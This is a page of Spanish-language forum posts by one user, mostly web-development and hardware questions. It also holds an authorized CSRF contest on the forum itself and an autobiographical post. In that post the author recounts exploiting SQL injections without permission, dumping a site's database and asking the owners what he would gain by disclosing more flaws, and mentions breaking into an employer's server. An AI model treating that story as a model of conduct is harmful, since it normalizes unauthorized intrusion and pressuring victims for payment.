Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#226
Hola, con un amigo comenzamos a utilizar una versión demo en https://www.cloudflare.com/ el cual funciona como un sistema de caché interno, me explico:

Tus dns ya no apuntan a tu servidor sino que apuntan a la ip de cloudflare.com, luego en el panel de cloudflare les das la ip de tu servidor... de esta forma cuando tu explorador intenta ver miweb.com realmente estará cargando el sitio web desde el servidor de cloudflare y no el mio y cloudflare es el que le hace la petición a mi servidor.

Las ventajas es que dicen que tienen un control de flood, ddos, etc y te cachea las hojas de estilo, imágenes, etc y todo configurable para que lo haga o no, también tiene modos de desarrollo, etc.

En una que otra ocación agrega en nuestras páginas en el <head> un script de ellos quisas para qué.

Hasta el momento nos ha ahorrado mas del 60% de la carga total sel servidor y un 90% de carga en procesador, es bueno pero en algunas ocasiones.

Alguien ha utilizado este sistema antes? alguien ha tenido problemas? a mi me ha gustado un poco solo porque te libera el procesador y te ahorra bastante ancho de banda (útil para servidores dedicados y vps con ancho de banda restringido) pero por otro lado me incomoda desarrollar en esta plataforma (talves sea la poca costumbre).

Alguien tiene alguna experiencia o puede darme su opinion al respecto?
Gracias.
#227
Android / WHK-Decoder V2.5 para Android
7 Junio 2012, 22:16 PM
Nueva versión 4.0: http://foro.elhacker.net/android/whk_conversor_40-t434242.0.html


WHK Conversor Version 2.5
https://play.google.com/store/apps/details?id=com.drawcoders.conversor
La descarga es gratis.

Soporta rc4, sha1, 256 y 512, base64, md5, octalh, decimal, sqlii, md5 y sha1 checksum, etc.
El código ya no está en html, lo pasé a código nativo para android hecho en eclipse (java/xml).
Si alguien quiere el código fuente lo vendo :P pero el uso de la aplicación es gratuita.










Hola, acabo de hacer una aplicación para android (desde la version 2.2) el cual consiste en codificar y decodificar textos en algunos algoritmos.
Lo hize en apenas media hora y está completamente diseñado en html5, css3 y jquery, sin imágenes ni sprites ni textview ni nada.

Es una versión en miniatura del codificador/decodificador que hize para elhacker.net ( http://www.elhacker.net/convertidor.html ). Lo único que hize fue trasladar el código de php a javascript.

La captura:


La descarga (apk):
http://www.4shared.com/android/-MEq44j4/WHK-Decoder.html

El código fuente (eclipse):
http://www.4shared.com/zip/a-_Sqbb-/WHK-Decoder.html

Los comentarios:
#228
Nunca pensé que llegaría este dia.

El tiempo se me hace nada y debo trabajar, necesito muchas cosas que estan fuera de mi alcance. Estoy comprometido con mi mujer y hay cosa que debo comenzar a dejar atrás y a retomar cosas nuevas.

Para mi todo se acabó, cerré todas mis páginas, octalh se quedó con drawcoders (nuestra mini empresa) y ha llegado la hora de dar de baja mi cuenta de elhacker.net.

Gracias a todos los que creyeron en mi, gracias a alex primeramente por darme un espacio en esta comunidad que amé.

Nos vemos a todos y gracias a cada uno de ustedes, gracias al staff y a los usuarios del foro también.

Alex, llegó la hora, gracias por todo, por favor necesito que me bajes el rango porque ya no podré moderar el foro y no quiero que alguien encuentre alguna contraseña suelta por ahi.

Igual quise hacer este post público porque pienso que la principal razon del porque estuve tanto tiempo acá ha sido por causa de los usuarios de esta comunidad, asi que pienso que es justo que me despida de ustedes también.

Adios a todos!, mi correo seguirá siendo el mismo, solo que ya no estaré tan activo en foros, ya no haré proyectos ni mucho menos auditorias ni trabajos de ningun tipo Saludos!.
#229
Hola, tengo un imac en mi trabajo (esos con procesador intel) y estaba tratando de averiguar como sniffear mi wifi y capturar los paquetes que pasan por mi red, el problema es que no encuentro la forma de hacerlo ya que tcpdump me captura unicamente los paquetes locales y los he procesado con wireshark y este tampoco me los captura.

He intentado con ifconfig en1 mode promisc y tampoco me funciona, traté con la palabra monitor y tampoco, me dice que el valor es inválido.

Que mas puedo hacer? que estoy haciendo mal?

No he querido usar una live cd porque es el unico equipo que tengo disponible y es con el que trabajo, asi que no puedo mantenerlo apagado tanto tiempo.

Saludos.

Edito...
ya lo hize, eran problemas de permisos, ahora en el icono del wifi me sale el ojo que indica que está en modo monitor, pero   los paquetes que capturo con wireshark no puedo filtrarlos por http, me dice que no hay paquetes de ese tipo y acá hay 6 computadoras navegando en paginas webs.

Algo anda mal y no se que pueda ser.
#230
El problema principal que tengo es que en chile hay una sola empresa que vende los dominios .cl y es nic.cl y es un asco, una total porquería tanto en lo técnico como en lo visual.

Me dieron ganas de averiguar que necesito para dedicarme a vender dominios de primer nivel .cl? si nic.cl ya los vende quiere decir que nadie mas puede?, eso quiere decir que si es posible tener el monopolio de un dominio de primer nivel? puedo contactarme con el que regulariza esto de los dominios para que permitan que otras empresas tambien puedan venderlos?

No se como es el mundo de la venta a primer nuvel :-/ gracias.
#231
Hola, ha llegado a mis manos un cisco asa 5505 y queria resetearlo o utilizarlo, el problema es que no tengo el cable que va al puerto de la consola rj45->com



A falta de este cable puedo conectarme de alguna otra forma? ya sea reemplazando el com por otro puerto o algo por el estilo? ya que no tengo ningun computador con puerto com, mi notebook es un easynote y no lleva ningun serial a exepcion del de video.

Gracias al que me pueda dar una mano :)
#232
PHP / Comentarios en archivos jpg desde php+gd
10 Abril 2012, 16:35 PM
Alguien sabe como poner comentarios dentro del jpg manipulando la cabecera del archivo desde GD de php? he buscado en la documentación oficial y no encuentro ningún indicio de que pueda hacerlo, pero talves alguien tenga algún tip para hacerlo. No puedo depender de imagick, el servidor es linux.
#233
¿Cual hosting creen que es mejor?, por favor argumentar.

Algunos puntos a tomar en cuenta:

  • Soporte
  • Uptime
  • Hardware
  • Red
  • Administración

La idea es que si haces un voto nos comentes porqué lo elijes y entre todos poder alimentarnos de información fiable basado en experiencias.

Para postear un nuevo host seguiremos este mismo formato:
https://foro.elhacker.net/desarrollo_web/recomendando_hostings_2015-t428172.0.html
pero basado en encuestas para poder ver los resultados totales directamente de todos los que pasen por estos lados.

La encuesta no tiene límite de tiempo, además recuerda que debes estar registrado para poder votar.
#234
Foro Libre / Alguien conoce este juego?
26 Marzo 2012, 16:18 PM
Hola, hay un juego que he estado buscando hace tiempo, es para android y lo tenía en una tableta pero la perdí.

El juego se trata de que tienes varios objetos en una cuadricula, perros, gatos, delfines, frutas, etc y debes juntar pares haciendoles click pero solo se juntan cuando hay un espacio libre entre ambos objetos.

Es similar al jewels pero puedes unir por ejemplo una fruta de arriba con una de al final de abajo siempre y cuando haya un espacio libre para dibujar una linea entre ambos objetos sin salir de la cuadricula.

Alguien conoce el nombre? gracias :)
#235
Hola, no se si alguien tiene alguna idea de cómo mover una división teniendo ya otra división encima con jquery.draggable().

Lo que quiero hacer es poner una imágen dentro de un cuadrado con overflow hidden y que la imágen se mueva pero también quiero poner un rectangulo encima de la imágen con transparencia, creando el efecto de que toda la imáen está oscura a exepción de un rectángulo que está al centro. Es para un editor de fotos, para que la gente pueda recortarlas.

El problema es que cuando necesito mover la fotografía de al fondo me topo con la división de encima que crea el rectangulo translúcido.

Intenté utilizar algunos plugins de recorte de imágen como el jcorp o el imagecorp pero tube algunas complicaciones con el diseño global del sitio y es necesario por obligación hacerlo de esta forma, poner la imágen de fondo en un cuadrado y moverla, redimensionarla y ajustarla hacia el rectángulo del centro.

Alguna idea para mover la imágen con $.draggable() y al mismo tiempo poner el famoso rectángulo encima?

Gracias :)
#236
Foro Libre / No encuentro un documental
15 Marzo 2012, 18:53 PM
Holas, alguien sabe donde está el video donde sale un relator tratando de explicar cuanto es el valor "infinito"?, no recuerdo si es de la history chanel o del discovery, se que estaba en youtube pero no recuerdo donde quedó ni el nombre que tenía.

Recuerdo que aparecía el relator con un rollo de papel gigante con un uno y muchos ceros y lo desenrolla mientras lo explica xD, es para mostrarselo a un menor de edad y que trate de comprender que es el valor infinito.

Gracias al que sepa.
#237
No se que sucede pero al parecer jQuery no serializa inputs de un form cuando este tiene atributos personalizados, asi como este ejemplo:
Código (html4strict) [Seleccionar]
<form id="test" method="post" action="?" xid="210" xreferer="http://yahoo.com/">
  <input type="text" name="edad" value="23" />
  <input type="text" name="nombre" value="Juan" xtab="tab1" />
  <input type="text" name="mail" value="test@gmail.com" xtab="tab1" />
  <input type="submit">
</form>
<script> alert($('#test').serialize()); // edad=23 </script>


Le pongo atributos extras porque muchas veces necesito localizar varios tipos de inputs, son como 5 atributos personalizados por input asi que usar rel="" no es una solución.

Lo raro es que jQuery si puede localizar estos atributos:
Código (javascript) [Seleccionar]
$('input[zcodeg="inner"]').each(function(){
 alert($(this).attr('xtab'));
});

Pero no los procesa al momento de serializar.

Será un bug de jQuery o un problema del motor de javascript?
#238
Hola, estaba creando un sitio WEB y me gustaría crear algo muy similar a lo que hace firefox 10 al momento de inspeccionar un código, o sea que se oscuresca toda la web menos ciertas divisiones.

Quise hacerlo con css y opacacity:
Código (css) [Seleccionar]
html{ opacacity: 0.5; }
.marked{ opacacity: 1 !important; border: 1px dashed red; }

Pero no resulta ya que en ves de aclararse la división se pone de color blanco simplemente.

También intenté crear el efecto atraves de imágenes png semi transparentes pero fue lo mismo, no puedo clarar algo que está por debajo de png.

Igual podría usar 4 divisiones que bordeen la división clara con transparencias, pero que sucedería si tengo 100 divisiones que aclarar?

Alguien tiene alguna idea de como poder hacer esto?
[youtube=425,350]http://www.youtube.com/watch?v=95yfAfx1hI0[/youtube]

Quiero hacer esto mismo pero con css. Será posible?
#239
Hola.

Tengo una sección del sitio WEB que se sobreescriben botones, no apareciendo y desapareciendo sino agregando y eliminando para ahorrar memoria ya que son muchisimos botones.

Mi duda es la siguiente:

Cáda ves que aparece un botón este debe realizar una acción al hacer click por lo tanto cómo puedo definirle la función?
Si intento darle una propiedad onclick="funcion()" no me funciona ya que funcion() está definida dentro de $(document)ready(function(){... por lo tanto no es accesible desde afuera.
Lo otro que intento es crear un $('#boton').click(function(){... pero al eliminar el botón se elimina la asociación de la función con el botón y al hacer aparecer uno nuevo queda sin asociación.

Para solucionar esto lo que hice fue una función llamada reDOM(){ ... } que incluye todas las asociaciones con los botones...

Código (javascript) [Seleccionar]
function reDom(){
$('.boton').each(function(){
$(this).click(function(){
// Accion
});
});
}


Hasta ahi todo bién, funciona de lujo porque cáda ves que elimino y agrego un botón llamo la función reDOM() y vuelve a asociar las funciones a los nuevos inputs incluyendo a los inputs que ya estaban.

Mi duda es la siguiente...
Cuando se desasocian o sea se elimina el botón y aparece otro esta asociación queda en memoria o automaticamente se elimina? es necesario hacer un unbind antes de eliminar el botón? ya que son mcuhos botones que aparecen y desaparecen y si quedan en memoria entonces va a causar que con el tiempo la web se vea lenta y me haga refrescar forzadamente.

El caso de los botones era solo un ejemplo ya que en la práctica son divisiones de una barra de busqueda que se renueva en cáda petición Ajax con $('#barra').html(request.barr) y necesito asociar las acciones a cáda división, pasar el mouse por encima, hacerle click, etc, pero me preocupa si las funciones aun están quedando en el DOM o se van eliminando solas.

Gracias para el que me pueda ayudar.
#240
Me gustaría comenzar un hilo de post compartiendo algunos servicios online que conozcamos que nos puedan servir en nuestros trabajos.

En lo personal yo conozco por ahora:

Pega códigos interpretados online:
Sitio: http://jsfiddle.net/
Ejemplo: http://jsfiddle.net/JeaffreyGilbert/PbYFT/

Pega textos de cualquier tipo con coloreado para múltiples lenguajes, también permite verlos en modo texto plano:
Sitio: http://pastebin.com/

Se que hay mas pero espero que entre todos nos nutramos de información libre :D
#241
Hola, estaba averiguando sobre los servicios que presta Amazon Web Services y me interesó lo económico que es.

El problema es que no se como hacer interactuar los servidores creados con los servicios de AWS.

Por ejemplo hize una instancia con un sistema virtual con apache, php, etc etc y le puse un wordpress, hasta ahi todo bién pero como hago para que wordpress utilize la db de AWS? o solo sirve a modo de respaldos? no se puede utilizar en tiempo real?

Que sucede con los archivos?, el S3 me permite guardar una cantidad de archivos impresionantes, pero puedo hacer que wordpress funcione en tiempo real con ese disco? o es solo para crear respaldos y guardarlos ahi?

Alguien entiende del tema para que me pueda explicar un poco por favor?

He leido la documentación oficial pero todo te dice como usar todos los servicios pero en ninguna parte encuentro el uso que se le da, ya que aprendí a utilizar sus apis, almacenamientos, dbs, etc pero como usarlo por ejemplo en un sistema ya fabricado como un foro o un blog?.

También me gustaría saber mas sobre como poder agregar un dominio al AWS con mi blog instalado o debo obligadamente utilizar un servicio externo? el alias virtual en apache se que debo hacerlo manualmente ya que no uso cpanel, todo lo hago via ssh.

Gracias.
#242
Hola, he estado buscando algún sbf para un motorola charm (android) que sirva para Chile (movistar) ya que el único que he encontrado que le sirva es el t-movil de usa pero el operador de red no lo localiza, solo dice llamadas de emergencia, lo rooteé y nada.

Le intnté poner uno de españa pero salía un error del boot loader, salian unos valores hexadecimales.
Por ahi leí que la versión del loader era incompatible, pero no se como cambiarla para que si funcione, la instalada es el 90.2. algo xD

Alguien sabrá porahi de alguna rom que le sirva? porque el arreglo me sale 40 dolares y es bastante dinero y se demoran dos dias (supongo que entrarán a buscar el rom igual que yo).

Gracias.
#243
Hackea a elhacker.net V2.0!!!



GANADOR: ~ Yoya ~ (yoyahack)




Alguna ves te dieron ganas por hackear a este foro? pues estás de suerte porque hoy puedes hacerlo!

Otros quedaron con las ganas desde que se hizo el primer concurso:
http://foro.elhacker.net/nivel_web/hackea_a_elhackernet-t275475.0.html

Pero, de que se trata y que ganan?

En el foro hay una horrenda y espeluznante falla de seguridad crítica llamada CSRF, algunos recordarán que el primer concurso fue encontrar un XSS, pues aunque parezca fáci no es tanto.

El primero en postear dicho CSRF y explique con lujo y detalles de que se trata y como explotarlo ganará nada mas y nada menos que un ferrary de oro, ... bueno, hay que esperar primero a que el-brujo sea multimillonario pero para no hacerlos esperar tanto también les daremos lo siguiente:

Premios

  • 1 Cuenta de correo @elhacker.net
  • El ganador se publicará en el boletín mensual de ElHacker.Net.
  • El ganador se publicará en el blog oficial de ElHacker.Net

Pistas?, queee?!!!, cual pista?, noo noo, no hay pistas xD (por el momento).
La fecha límite para postear el CSRF es el 1 de Marzo, después de eso lo arreglaremos xD.

Bases del concurso:
* Debes publicar todo acá, nada de mensajes privados, asi entre todos se ayudan.
* Atraves del CSRF descubierto debes ser capaz de modificar la firma de mi perfil con tu nick.
* Debes tener mas de 2 años de edad y menos de 98.

Cualquier persona puede enviarme enlaces al correo yan.uniko.102@gmail.com y yo les haré click con mi cuenta conectada en el foro. Recuerden que en el asunto del correo deben poner "GO CSRF elhaqcker.net", cualquier correo que no tenga ese título no abriré y lo eliminaré.

El perfil con el que ingresaré para que modifiquen mi firma es este:
http://foro.elhacker.net/profiles/pollo9-u322090.html

Si alguien encuentra otro CSRF que también sea crítico ganará el premio y se publicará el bug del concurso.

Quien dijo yo?, quien es el primero? :D está refácil y el bug es viejisimo y funciona para muchos otros foros.

#244
Estaba buscando si existian algunas condicionales similares al <!--[IF IE]> pero dentro de las hojas de estilo y encontré muchas pero todos son hacks, no pude encontrar nada que lo haga "a la buena".

Algunos de los que encontré son estos y ya los he probado y funcionan super bién, el problema es que no pasan los validadores como W3C.

Ojala les sirvan.

http://www.maestrosdelweb.com/editorial/hacks-en-css-que-te-evitaran-dolores-de-cabeza-en-internet-explorer/

En los comentarios también salen otras formas.

Saludos.



Estos fueron creados por Microsoft para su navegador y sólo son soportados por éste. Como comienzan con <!-- cualquier otro navegador asumirá que es un comentario y no ejecutará el código que hay dentro.

Este tipo de condicional se sitúa entre las etiquetas <head> y </head>. Utilizándolo podremos detectar la versión del navegador y cargar el archivo CSS necesario.

<!--[if CONDICION]> Código HTML <![endif]–>

En la condición podremos utilizar cualquiera de las que siguen. Pudiendo sustituir X por las versiones de Internet Explorer disponibles hasta el momento (5,5.5,6 o 7).

IE
    Cualquier versión de Internet Explorer
lt IE X
    Versiones inferiores a X
lte IE X
    Versiones inferiores o iguales a X
IE X
    Solo para la version X
gte IE X
    Versiones superiores o iguales a X
gt IE X
    Versiones superiores a X


A continuación mostramos un ejemplo del uso de este condicional:

<!-- (...) -->
<head>
<title>Título</title>
<link href="all_browsers.css" rel="stylesheet" type="text/css">
<!--[if IE]> <link href="ie_any_version.css" rel="stylesheet" type="text/css"> <![endif]-->
<!--[if lt IE 7]> <link href="ie_6_and_below.css" rel="stylesheet" type="text/css"> <![endif]-->
<!--[if !lt IE 7]><![IGNORE[--><![IGNORE[]]> <link href="recent_versions.css" rel="stylesheet" type="text/css"> <!--<![endif]-->
<!--[if !IE]>--> <link href="not_ie.css" rel="stylesheet" type="text/css"> <!--<![endif]-->
</head>
<!-- (...) -->


El hack del guión bajo

Para el resto de los navegadores una propiedad con un guión bajo, u otro carácter alfanumérico delante es algo que no existe, y por tanto no la interpretan, pero Internet Explorer las asimila sin problemas. Esto es algo que podemos utilizar para definir propiedades en los estilos, destinadas sólo a este navegador.

#textbox{
  width: 450px; /* Firefox y los demás */
  _width:400px; /* Internet Explorer 6 e inferiores */
}


Este hack funciona para todas las versiones de Internet Explorer que existen hasta la fecha, pero es posible que deje de funcionar en las próximas.

Teniendo en cuenta que los navegadores sobrescriben las propiedades si éstas se definen más de una vez, dejando establecida la que se define última; mostramos un ejemplo donde se muestran estos dos hacks que hemos descrito anteriormente.

body {
background: #FFFFFF /* Firefox y los demás */
*background: #000000 /* IE7 e inferiores */
_background: #CCCCCC; /* Sólo IE6 */
}


En el ejemplo que mostramos anteriormente el color de fondo de la página se verá blanco para Firefox, negro para Internet Explorer 7 y gris para IE 6.
El uso de !important

Este operador es utilizado en los archivos CSS para que los navegadores respeten la importancia de la propiedad que lo contenga y evite que se sobrescriba con otras que se definan posteriormente.

Internet Explorer 6 y las versiones anteriores no interpretan este operador; problema que fue solucionado en la versión 7 de este navegador.

p {
/*
Navegadores superiores a IE 6 respetarán la
importancia inmediatamente */
background: green !important;
/* IE 6 y anteriores aplicará este estilo
aunque esté marcado la anterior como importante */
background: red;
}


En el ejemplo anterior el fondo de la página se mostrará rojo para IE 6, mientras que para Internet Explorer 7 y el resto de los navegadores se verá verde.
Sin hacks en nuestros CSS

El desarrollador Dean Edwards pone a disposición de todos, bajo licencia GNU LGPL, la librería javascript IE7, para hacer que Internet Explorer (Navegadores Microsoft IE) se comporten como un navegador que sigue los estándares. Además hace que los PNG transparentes funcionen correctamente en las versiones 5 y 6 del navegador y soluciona diversos problemas relacionados a la interpretación del CSS.

Para utilizar esta librería debemos descargarla de Google Code y seguidamente agregar estas líneas entre las etiquetas :

<!--[if lt IE 7]>
<script src="/ie7/ie7-standard-p.js" type="text/javascript">
</script>
<![endif]-->


Con este código cargamos el script chequeando que el navegador sea Internet Explorer, utilizando para esto el condicional del que hablábamos al inicio.

para que podamos tener los hacks sin perder de vista los estandares, podemos utilizar los siguientes hacks:
.class {
... /*Estilos para FF*/
}
*:first-child+html .class {
... /*Estilos para IE7*/
}

*html .class {
... /*Estilos para IE6*/
}

Primero se pondrian los estilos para FF y/o los verdaderos browsers clase A, luego se puede utilizar el segundo estilo que funciona exclusivamente para IE7, incluso si necesita una estructura de arbol para los estilos, lo unico que se debe poner es *:first-child+html y en seguida la estructura y eso reconoce y valida para IE7, de igual forma con *html que es exclusivo para IE6.
#245
Desarrollo Web / CSS3 y HTML5 en IE6, 7 y 8
24 Enero 2012, 19:27 PM
Ya algunos saben que anda por ahi un javascript para hacer compatibilizar ie con html5 pero he encontrado un sitio web que se las han ingeniado para hacer compatibilizar ie6 con css3 sin la necesidad de instalar nada.

CSS3:
http://fetchak.com/ie-css3/

Selectores CSS3 en IE6
http://selectivizr.com/

HTML5:
http://code.google.com/p/html5shiv/

Por ejemplo:
Código (css) [Seleccionar]
<style>
border-radius: 15px;
box-shadow: 10px 10px 10px #000;
behavior: url(ie-css3.htc);
</style>


Y ya tenemos nuestra caja con borde redondeado y sombra en todos los exploradores existentes :D
El archivo ie-css3.htc debe estar en el directorio principal del sitio WEB debido a que ie no sabe encontrar la ruta relativa de la hoja de estilo pero es lo de menos.

Lo he probado y me ha funcionado todo super bién :D, igual no podremos jugar con coordenadas, last-child y un montón de cosas pero por lo menos si nos permite hacer sombras, bordes redondeados y sombras a los textos.

Aver si mas adelante hacen algo para hacer compatible mas cosas.

Mas info de métodos cruzados:
Efecto cubo 3d con css en todos los exploradores:
http://www.useragentman.com/blog/2010/03/09/cross-browser-css-transforms-even-in-ie/

Poner texto vertical en todos los exploradores:
http://help.dottoro.com/ljnqjkke.php (IE)
http://www.aquim.com/web-article-223.html (Todos los demás)

Saludos :D
#246
Necesitaba pasar un array multidimensional gigante a javascript para poder manipularlo desde el cliente (explorador) sin la necesidad de estar haciendo peticiones multiples al servidor atraves de ajax.

Se me ocurrió utilizar json pero tube problemas debido a que json_encode() solo funciona con carácteres utf8 y no utilizo utf8 debido a acentos y eñes en cajas de texto y base de datos y tendria que decodificar todo a utf8 o pasar todo a htmlentities pero por asuntos de seguridad no lo hago.

Se me ocurrió también usar serialize pero la única función buena que encontré era de phpjs.org, pero lamentablemente me dió error, no reconocó las multiples dimensines de mi array.

Asi que después de buscar y buscar y buscar sin éxito decidí hacer mi función que convierte cualquier array multidimensional de php en array de javascript.

No puede convertir objetos que no sean arrays, strings, booleanos o integers.

Si quieres pueden modificarlo para aceptar valores float, pharseInt() o booleano directo, yo prefiero binario 1:0 para valores booleanos.

Código (php) [Seleccionar]
function toArrJs($array, $callback, $recursive = false){
if(!is_array($array))
return ''; /* No es un array */
$return = ($recursive ? '' : 'var ').$callback." = new Array();\n";

foreach($array as $var => $val){
if(is_array($val)){
$return .= toArrJs($val, $callback."['".urlencode($var)."']'", true);
}else{
if(is_numeric($val))
$return .= $callback."['".urlencode($var)."'] = ".(int)$val.";\n";
else
$return .= $callback."['".urlencode($var)."'] = '".str_replace(array('%','+'), array('\\x', ' '), urlencode($val))."';\n";
}
}
return $return;
}

$array = array(
'uno' => 'item1',
'dos' => array(
 'a' => 'letra a',
 'b' => 'letra b'
)
);
echo toArrJs($array, 'callback');


Saludos.
#247
Hay algunas cosas que funcionan bién y otras que en internet explorer andan mal.

Estaba haciendo un bloque con varios tabs y dentro de cáda tab varios checkboxes con sus textos y al pasar el mouse sobre la pestaña se veia el tab.

Todo andaba de lujo hasta que decido probar en internet explorer 8, se veia horrendamente lento, cáda ves que pasaba el mouse sobre una pestaña se demoraba como un segundo o mas en mostrar el contenido, asi que cuando pasaba el mouse sobre todas las pestañas con suerte se veian dos. el retraso era muy grande pero por suerte lo arreglé y obtube el mismo resultado con mayor rapidez solo cambiando un par de lineas.

TIP:
Internet explorer es horrendo para redenderizar, por eso lo que yo hacia era escribir el html de cáda tab y luego con jquery mostrar y ocultar el tab con show() hide(), supongo que en firefox y chrome cuando un objeto no está visible no lo redenderiza o no se como lo hará pero la cosa es que internet explorer se estaba frizando por los cientos de checkboxes totales que habian escritos, unos ocultos y otros visibles, al final solo 10 o menos se veian pero el resto estaban ocultos.

Para solucionar esto cargué cáda contenido del html en una variable de javascript de esta manera:
Código (php) [Seleccionar]
<?php
$buffer 
'';
foreach(
$filters as $filter){
 
ob_start();
?>

<div>
<div><?php echo $this->str->toHtml($filter['filter_text']); ?></div>
<div><input type="text" value="Buscar ..." /></div>
<div>
<?php foreach($filter['data'] as $value){ ?>
<div>
<label>
<input type="checkbox" />
<span><?php echo strtolower($this->str->toHtml($value['nombre'])); ?></span>
</label>
</div>
<?php ?>
</div>
</div>
<?php
 $buffer 
.= "search['".$filter['prefix']."'] = '".str_replace(array('%','+'), array('\\x'' '), urlencode(ob_get_contents()))."';
 "
;
 
ob_end_clean();
}
echo 
'
 <script type="text/javascript">
  var search = new Array();
  '
.$buffer.'
 </script>
'
;
unset(
$buffer);
?>


De esta forma tengo un array llamado "search" con el contenido de cáda bloque y en ves de hacerle show() hide() le hago un $('.contenido').html(search[item]) haciendo que cáda ves que quiera aparecer un bloque sobreescriba el que estaba antes evitando la sobrecarga de inputs.



Lo comento porque se que es una mala costumbre que muchos tenemos y teniamos al momento de escribir directamente en el html cientos de objetos cuando realmente solo se verán unos pocos y podremos ahorrarnos muchos megas de memoria en internet explorer.

Alguien le gustaría compartir mas tips para hacer que internet explorer funcione rápido y eficiente sin la necesidad de cambiar el layout o diseño de algo sino simplemente modificando el código?

Saludos :D
#248
Actualización: 31 Diciembre del 2011 :

Hace un par de semanas encontré una falla de seguridad en un sitio web, especificamente eran varias inyecciones SQL que me permitieron acceder al panel de control realizando la backup completa de la base de datos.

Al dia siguiente entré al foro de ese mismo sitio web para contactarme con los administradores y explicarles con lujo y detalle una de las varias fallas de seguridad que tenian, les informé que no habia modificado absolutamente nada del servidor pero les mostré los accesos que tenía y respaldos de las bases de datos.

Luego de eso les pregunté que ganaba yo con decirles el resto de las fallas de seguridad que tenian ya que podria hacerme el desentendido y olvidar que las fallas están ahi pero que alguien mas podía venir en un futuro y no con las mejores intenciones.

En resumidas cuentas después de una semana me ha llegado un correo de parte de la administración de ese sitio WEB y que ya los habian hackeado un par de veces antes y que me daban la oportunidad de hacerles un presupuesto para rediseñarles el sitio web por completo.
El presupuesto que les di era acorde a un trabajo de ese tamaño, algo así como 3000 dolares por 3 meses trabajados y al dia siguiente me lo aceptaron pero querian verme en persona.

Un poco desconfiado asistí con un familiar y me ofrecieron un pago del 15% para comenzar y me lo dieron en efectivo ese mismo dia sin si quiera saber como me llamaba, solo me dijeron que yo era la persona justa e indicada para ese tipo de trabajo y que de una ves por todas iban a tener algo de calidad y seguro.

Después de un mes de trabajo constante vieron que el sitio que les habia diseñado comenzaba a verse bién y hace un par de dias me ofrecieron un contrato fijo por 1000 dolares mensuales (acá en mi pais es como 4 o 5 veces el sueldo mínimo) y ayer lo acabo de firmar y esta semana he estado trabajando ahi y me pude dar cuenta que esa empresa se dedica al desarrollo de softwares, paginas webs y soporte a computadoras y que esa web que yo habia ingresado era una de muchas bajo su control.

Lo único que me dicen es que necesitan una web que haga tales y tales cosas y me dejan a mi libre imaginacion y les hago los trabajos generalmente en menos de una semana cada uno con sus paneles de administracion bien bonitos, seguros y eficientes en cuanto a consumo de recursos por parte del servidor y cliente, aire acondicionado, una oficina para tres personas y un horrio relajado, escuchando mi musica, me compraron un desktop con un intel i5 con 6g de ram, un iphone 4s solo para hacer llamadas de trabajo, una conexión de internet de 5mb/s de bajada y 30mb/s de subida, los torrents con peliculas en 1080p de 8g se bajan en menos de media hora :D y comiendo sushi casi todos los dias de almuerzo :D, estos dias de fiesta hemos estado saliendo a medio dia aproximadamente y por ahora mi jefe se siente contento y feliz de tener a alguien que realmente le entiende lo que el quiere y que las cosas salgan bien y rapidas.

Hasta ahora de los casi 4 años que llevo haciendo webs con mi framework no me han hackeado ni una sola, un buén record no? xD el dia en que me hackeen una pagina sera sobre mi cadaver hahaha.

Ahora estoy en mi casita pasando el año nuevo y fabricando unos paneles drag and drop tipo android para el lunes y mi novia conversando por el cel conmigo amándonos, queriéndonos...
Aparte de eso el mes pasado me regalaron una proyectora de 1024x768 epson y juego need for speed the run con mi proyectora y el equipo sony genezi mhc de 1200w rms con doble sub woffer.

En fin, ha sido un buen comienzo de año :D asi que que nadie les venga a decir que el hobby o lo que a uno le gusta hacer no trae recompensas, tuve que pasar varios años aprendiendo y esforzándome para poder tener una oportunidad como esta.

Saludos y felices fiestas :D





Actualización: 28 Enero del 2017 :

Bueno, actualizo este mismo post para continuar el hilo, para que la gente sepa el comienzo de esta historia.

Un poco mas de mi historia, lo que he hecho en mi vida, como comencé y como estoy : http://whk.elhacker.net/index.php?page=acerca_de_mi

En resumidas, continúo este post porque hoy tengo mi propia compañía de seguridad informática, este año logramos firmar contrato con algunas entidades de gobierno y otras bancarias, actualmente estoy dando cursos de desarrollo de software seguro, thical hacking y otras cosas en algunos bancos, y mis ingresos claramente también cambiaron bastante y para mejor,... pero para contarles como llegué hasta acá les contaré como comencé desde el principio.


Mi nombre real es Yhojann Aguilera, Hacker Blanco (White HacKer o WHK), como todo el resto de las personas, incluyendo los que me leen, no nací con una biblioteca debajo del brazo, no nací sabiendo todas las cosas ni pensé tampoco algún día llegar hasta donde estoy, yo comencé en mi hogar en Santiago de Chile cuando no tenía pc ni sabía que cosa era internet, pero me llamaba mucho la atención lo que se escuchaba sobre las computadoras y los hackers, yo soy muy apasionado por los juegos de video y pues, yo miraba el computador como un medio de entretención más.

Comencé a interesarme en la computación y el hacking cerca del año 1998, nunca fui una persona de dinero ni de familia acomodada, vivía en una población un tanto conflictiva reconocida por su nivel de delincuencia, como verán, nada me favorecía.

Con el pasar de los años comencé a aprender muchas cosas sobre hacking, aprendí a hacer mas travesuras que cosas buenas, aprendí de mucha gente que se ganaba la vida haciendo lo correcto y lo incorrecto.

En mis primeros trabajos tuve algunos problemas por hackear los servidores de la compañía como por ejemplo en reutter, con un exploit de rpc dcom les habia entrado en un windows server 2000 pero tenian un sniffer corriendo todos los dias y por eso me pudieron descubrir, aunque de todas maneras no me hecharon.

Con el tiempo fui obteniendo cada ves mas conocimiento y hasta ese momento todo lo que hacía no era mas que solo un hobbie, en esos años cerca del 2000 comencé a ir a mi iglesia, conocí al señor, fue la mejor experiencia de toda mi vida, desde ese momento todo había cambiado para mi, pude ver las cosas como jamas me lo habría imaginado, desde entonces me decidí a no hacer mas uso de mis conocimientos para hacer algo que pudiera afectar a alguien. Mi decisión principal fue pedirle a Dios aun mas conocimiento y la sabiduría para utilizar todo ese conocimiento, siempre me dijeron que nunca iba a llegar lejos porque era una persona de poca cabeza y muy perezoso.

